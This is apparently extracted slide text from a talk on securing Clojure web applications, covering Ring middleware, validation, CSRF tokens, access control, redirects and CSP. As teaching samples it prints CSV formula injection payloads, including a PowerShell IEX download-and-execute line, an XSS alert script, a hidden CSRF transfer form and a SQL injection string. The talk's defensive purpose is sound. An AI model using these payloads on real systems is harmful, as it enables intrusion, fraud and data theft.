How can we write secure web applications in Clojure? What do we need to take into consideration? This talk covers the most common web vulnerabilities and how to protect against them when developing a web application in Clojure.
C l o j u r e " : f e a t u r e s [ : f u n c t i o n a l : j v m : p a r e n s ] : c r e a t o r " R i c h H i c k e y " : s t a b l e - v e r s i o n { : n u m b e r " 1 . 8 . 0 " : r e l e a s e " 2 0 1 6 / 0 1 / 1 9 " } }
Injection Weak Authentication / Session Handling XSS Insecure Object References Security Misconfigurations Sensitive Data Exposure Missing Function Level Access Control Cross Site Request Forgery Using Components with Known Vulnerabilities Unvalidated Redirects and Forwards still relevant today? -> OWASP Top 10 2016 not yet out but on its way. Meanwhile...
R L I N K ( " h t t p : / / e v i l . t m " ; " D e t a i l e d I n f o r m a t i o n " ) Launching the calculator = c m d | ' / C c a l c ' ! A 0 Use wget extension to download and execute remote payload = p o w e r s h e l l | ' I E X ( w g e t 0 r . p e / p ) ' ! A 0 Source: https://blog.zsec.uk/csv-dangers-mitigations/
response request response Ring - HTTP Server abstraction Request & response are data A web app is a function which takes a request and returns a response https://github.com/ring-clojure/ring/blob/master/SPEC
q u e s t { : u r i " / " : r e q u e s t - m e t h o d : g e t : h e a d e r s { " A c c e p t " " t e x t / p l a i n " } } ) ( d e f n e x a m p l e - a p p [ r e q ] { : s t a t u s 2 0 0 : b o d y ( s t r " H e l l o " ( : u r i r e q ) " ! " ) } ) ( r i n g . a d a p t e r . j e t t y / r u n - j e t t y e x a m p l e - a p p { : p o r t 4 0 0 0 } ) webapp Java HTTP Server Ring Server Adapter
ed response (i.e. added headers) request response middleware modi ed request modi ed response response modi ed request response request condition? tru e fa ls e ( d e f n m i d d l e w a r e [ h a n d l e r ] ( f n [ r e q u e s t ] ; ; M o d i f y r e q u e s t b e f o r e s e n d i n g i t t o t h e w e b a p p ( l e t [ r e s p o n s e ( h a n d l e r r e q u e s t ) ] ; ; m o d i f y r e s p o n s e b e f o r e r e t u r n i n g i t t o t h e u s e r r e s p o n s e ) ) )
not-found request response ( d e f r o u t e s a p p - r o u t e s ( G E T " / " r e q u e s t ( l i s t - u s e r s r e q u e s t ) ) ( P O S T " / " { p a r a m s : p a r a m s : a s r e q u e s t } ( a d d - u s e r r e q u e s t p a r a m s ) ) ( G E T " / : u s e r n a m e " [ u s e r n a m e : a s r e q u e s t ] ( g e t - u s e r r e q u e s t u s e r n a m e ) ) ( P U T " / : u s e r n a m e " [ u s e r n a m e e m a i l p a s s w o r d : a s r e q u e s t ] ( u p d a t e - u s e r r e q u e s t u s e r n a m e e m a i l p a s s w o r d ) ) ( D E L E T E " / : u s e r n a m e " [ u s e r n a m e ] ( d e l e t e - u s e r u s e r n a m e ) ) )
b a p p ( - > a p p - r o u t e s a u t h - m i d d l e w a r e ( w r a p - d e f a u l t s s e c u r e - s i t e - d e f a u l t s ) ) ) ( r i n g . a d a p t e r . j e t t y / r u n - j e t t y w e b a p p { : p o r t 4 0 0 0 } ) auth? h a n d le n o a u th ring secure defaults GET /:user POST / GET / PUT /:user DELETE /:user not-found list users add user get user update user delete user handle not found Java HTTP Server Ring Server Adapter
n s { : p o r t 3 0 0 0 : j o i n ? f a l s e : s s l ? t r u e : s s l - p o r t 4 0 0 0 : k e y s t o r e " s s l / k e y s t o r e " : k e y - p a s s w o r d " s o m e s e c r e t " : h o s t " e x a m p l e . c o m " } ) ( r i n g . a d a p t e r . j e t t y / r u n - j e t t y w e b a p p o p t i o n s ) Use SSL! Attacks don't stop at your Reverse Proxy.
i r e ' [ b o u n c e r . v a l i d a t o r s : a s v ] ) ( d e f e m a i l - r e g e x # " ^ $ | ^ [ a - z A - Z 0 - 9 . _ % + - ] + @ [ a - z A - Z 0 - 9 . - ] + \ . [ a - z A - Z ] { 2 , 6 3 } $ " ) ( b o u n c e r . c o r e / v a l i d a t e { : e m a i l " 1 2 3 " } : u s e r n a m e [ v / r e q u i r e d v / s t r i n g ] : e m a i l [ v / s t r i n g [ v / m a t c h e s e m a i l - r e g e x ] ] : p a s s w o r d [ v / r e q u i r e d v / s t r i n g ] ) > [ { : u s e r n a m e ( " u s e r n a m e m u s t b e p r e s e n t " ) : e m a i l ( " e m a i l m u s t s a t i s f y t h e g i v e n p a t t e r n " ) : p a s s w o r d ( " p a s s w o r d m u s t b e p r e s e n t " ) } { : e m a i l " 1 2 3 " : b o u n c e r . c o r e / e r r o r s { : u s e r n a m e ( " u s e r n a m e m u s t b e p r e s e n t " ) : e m a i l ( " e m a i l m u s t s a t i s f y t h e g i v e n p a t t e r n " ) : p a s s w o r d ( " p a s s w o r d m u s t b e p r e s e n t " ) } } ]
e r . p a r s e r / r e n d e r " H e l l o { { n a m e } } ! " { : n a m e " < s c r i p t > a l e r t ( ' h i ! ' ) ; < / s c r i p t > " } ) > " H e l l o & l t ; s c r i p t & g t ; a l e r t ( & # 3 9 ; h i ! & # 3 9 ; ) ; & l t ; / s c r i p t & g t ; ! "
# GitHub References Last Updated No 15744 29 Mar 2016 Yes 11628 11 Dec 2015 Yes 7432 9 Jul 2016 Yes 3852 23 Jun 2016 No 1983 10 Nov 2014 hiccup hbs enlive Selmer fleet Statistics taken on 26 August 2016
h t m l [ n a m e ] ( s t r " < d i v > H i " n a m e " ! < / d i v > " ) ) ( g e t - h t m l " < s c r i p t > a l e r t ( ' E v i l X S S ! ' ) ; < / s c r i p t > " ) > " < d i v > H i < s c r i p t > a l e r t ( ' E v i l X S S ! ' ) ; < / s c r i p t > ! < / d i v > "
h t t p s : / / b a n k . c o m / t r a n s f e r ? a c c t = j o y & a m o u n t = 1 0 0 0 0 " w i d t h = " 0 " h e i g h t = " 0 " b o r d e r = " 0 " > < f o r m a c t i o n = " h t t p s : / / b a n k . c o m / t r a n s f e r " m e t h o d = " P O S T " > < i n p u t t y p e = " h i d d e n " n a m e = " a c c t " v a l u e = " j o y " / > < i n p u t t y p e = " h i d d e n " n a m e = " a m o u n t " v a l u e = " 1 0 0 0 0 " / > < i n p u t t y p e = " s u b m i t " v a l u e = " D o s o m e t h i n g i n n o c e n t ! " / > < / f o r m >
[ r i n g . m i d d l e w a r e . a n t i - f o r g e r y : r e f e r [ * a n t i - f o r g e r y - t o k e n * ] ] ) ( s e l m e r . p a r s e r / r e n d e r - f i l e " i n d e x . h t m l " { : a n t i f o r g e r y * a n t i - f o r g e r y - t o k e n * } ) i n d e x . h t m l : < f o r m . . . > < i n p u t n a m e = " _ _ a n t i - f o r g e r y - t o k e n " t y p e = " h i d d e n " v a l u e = " { { a n t i f o r g e r y } } " / > . . . < / f o r m >
r y - u s e r [ u s e r n a m e ] ( s q l / q u e r y d b - c o n n [ ( s t r " S E L E C T * F R O M U s e r s W H E R E U s e r n a m e = ' " u s e r n a m e " ' ; " ) ] ) ) ( q u e r y - u s e r " f r e d ' o r ' a ' = ' a " ) > Dumps all information from the U s e r s database
s . s q l : - - n a m e : g e t - u s e r S E L E C T * F R O M U s e r s W H E R E U s e r n a m e = : u s e r n a m e ; ( y e s q l . c o r e / d e f q u e r i e s " d b / u s e r s . s q l " { : c o n n e c t i o n d b - c o n n } ) ( g e t - u s e r { : u s e r n a m e " f r e d " } ) > { : u s e r n a m e " f r e d " : e m a i l " m r . f r o g g y @ q u a c k e r s . c o m " : u s e r i d 4 : p a s s w o r d " . . . s o m e b y c r y p t h a s h . . . " }
e ' [ b u d d y . a u t h . b a c k e n d s : a s b a c k e n d s ] ) ( d e f n l d a p - a u t h [ r e q u e s t a u t h ] ( l e t [ u s e r n a m e ( : u s e r n a m e a u t h ) p a s s w o r d ( : p a s s w o r d a u t h ) ] ; d o m a g i c l d a p a u t h e n t i a t i o n ; r e t u r n l o g i c a l t r u e u s e r n a m e ) ) ( d e f b a c k e n d ( b a c k e n d s / b a s i c { : r e a l m " m y A P I " : a u t h f n l d a p - a u t h } ) )
e s s - r u l e s [ { : u r i " / u s e r s " : h a n d l e r b u d d y . a u t h / a u t h e n t i c a t e d ? : r e q u e s t - m e t h o d : g e t } { : u r i " / u s e r s / : u s e r n a m e / e d i t " : h a n d l e r i s - u s e r ? : r e q u e s t - m e t h o d : g e t } { : u r i " / u s e r s / : u s e r n a m e " : h a n d l e r i s - u s e r ? : r e q u e s t - m e t h o d # { : p u t : d e l e t e : p o s t } } ] ) ( d e f n i s - u s e r ? [ r e q u e s t ] ( w h e n - l e t [ u s e r ( : i d e n t i t y r e q u e s t ) ] ( = u s e r ( g e t - i n r e q u e s t [ : m a t c h - p a r a m s : u s e r n a m e ] ) ) ) )
o r - r e d i r e c t [ r e q u e s t _ v a l u e ] ( r e d i r e c t - t o - l o g i n ( r e q u e s t - u r l r e q u e s t ) ) ) ( d e f n a u t h - m i d d l e w a r e [ h a n d l e r ] ( l e t [ b a c k e n d ( a u t h - b a c k e n d s e c r e t ) ] ( - > h a n d l e r ( w r a p - a c c e s s - r u l e s { : r u l e s a c c e s s - r u l e s : o n - e r r o r e r r o r - r e d i r e c t } ) ( w r a p - a u t h e n t i c a t i o n b a c k e n d ) ) ) )
t e - u r l " h t t p s : / / q u a c k e r s . c o m : 4 0 0 0 " ) ( d e f n c h e c k - r e d i r e c t [ u r l ] ( i f u r l ( i f ( s t a r t s - w i t h ? u r l s i t e - u r l ) u r l s i t e - u r l ) s i t e - u r l ) ) ( d e f n r e d i r e c t - t o - l o g i n [ r e d i r e c t - u r l ] ( r e d i r e c t ( s t r " / l o g i n ? r e d i r e c t - t o = " ( c h e c k - r e d i r e c t r e d i r e c t - u r l ) ) ) )
purpose for which it was intended. An attacker has more resources than a victim OR Victim requires more resources to process a request than the attacker requires to send it.
n i n d e x [ r e q u e s t ] ( l e t [ l i m i t ( - > i n t ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " l i m i t " ] " 1 0 " ) ) o f f s e t ( - > i n t ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " o f f s e t " ] " 0 " ) ) q u a c k s ( d b / g e t - q u a c k s { : l i m i t l i m i t : o f f s e t o f f s e t } ) ] ( r e n d e r - i n d e x r e q u e s t q u a c k s ) ) )
e t - l i m i t [ r e q u e s t ] ( t r y ( l e t [ p a r a m ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " l i m i t " ] ) i ( - > i n t p a r a m ) ] ( m i n i 5 0 0 ) ) ( c a t c h E x c e p t i o n e 1 0 ) ) ) ( d e f n g e t - o f f s e t [ r e q u e s t ] ( t r y ( l e t [ p a r a m ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " o f f s e t " ] ) ] ( - > i n t p a r a m ) ) ( c a t c h E x c e p t i o n e 0 ) ) ) ( d e f n i n d e x [ r e q u e s t ] ( l e t [ l i m i t ( g e t - l i m i t r e q u e s t ) o f f s e t ( g e t - o f f s e t r e q u e s t ) q u a c k s ( d b / g e t - q u a c k s { : l i m i t l i m i t : o f f s e t o f f s e t } ) ] ( r e n d e r - i n d e x r e q u e s t q u a c k s ) ) )
d l e w a r e - s e t t i n g s { : s e s s i o n { : c o o k i e - a t t r s { : h t t p - o n l y t r u e : s e c u r e t r u e } } : s e c u r i t y { : a n t i - f o r g e r y t r u e : x s s - p r o t e c t i o n { : e n a b l e ? t r u e , : m o d e : b l o c k } : f r a m e - o p t i o n s : s a m e o r i g i n : c o n t e n t - t y p e - o p t i o n s : n o s n i f f : s s l - r e d i r e c t t r u e : h s t s t r u e } } ) "Ring-Defaults", e.g."api-defaults", "site-defaults", "secure-site-defaults", ...
n t - S e c u r i t y - P o l i c y : < P O L I C Y > Can "turn-off" Inline JavaScript and plugins Limit valid sources per content-type Provide Hashes and Nonces Reporting
- s e c u r i t y - p o l i c y : s c r i p t - s r c h t t p s : / / c o n n e c t . f a c e b o o k . n e t h t t p s : / / c m . g . d o u b l e c l i c k . n e t [ . . ] ' u n s a f e - e v a l ' [ . . ] h t t p s : / / * . t w i m g . c o m h t t p s : / / a p i . t w i t t e r . c o m ' n o n c e - s w 4 H 7 y Z e W d I f c y r j z O 5 9 5 Q = = ' [ . . ] ' s e l f ' ; f r a m e - a n c e s t o r s ' s e l f ' ; f o n t - s r c [ . . ] m e d i a - s r c [ . . ] c o n n e c t - s r c [ . . ] s t y l e - s r c [ . . ] ' u n s a f e - i n l i n e ' ' s e l f ' ; o b j e c t - s r c [ . . ] f r a m e - s r c [ . . ] i m g - s r c [ . . ] h t t p s : / / * . g i p h y . c o m [ . . ] r e p o r t - u r i h t t p s : / / t w i t t e r . c o m / i / c s p _ r e p o r t ? a = 4 7 1 1 2 3 4 2 & r o = f a l s e ;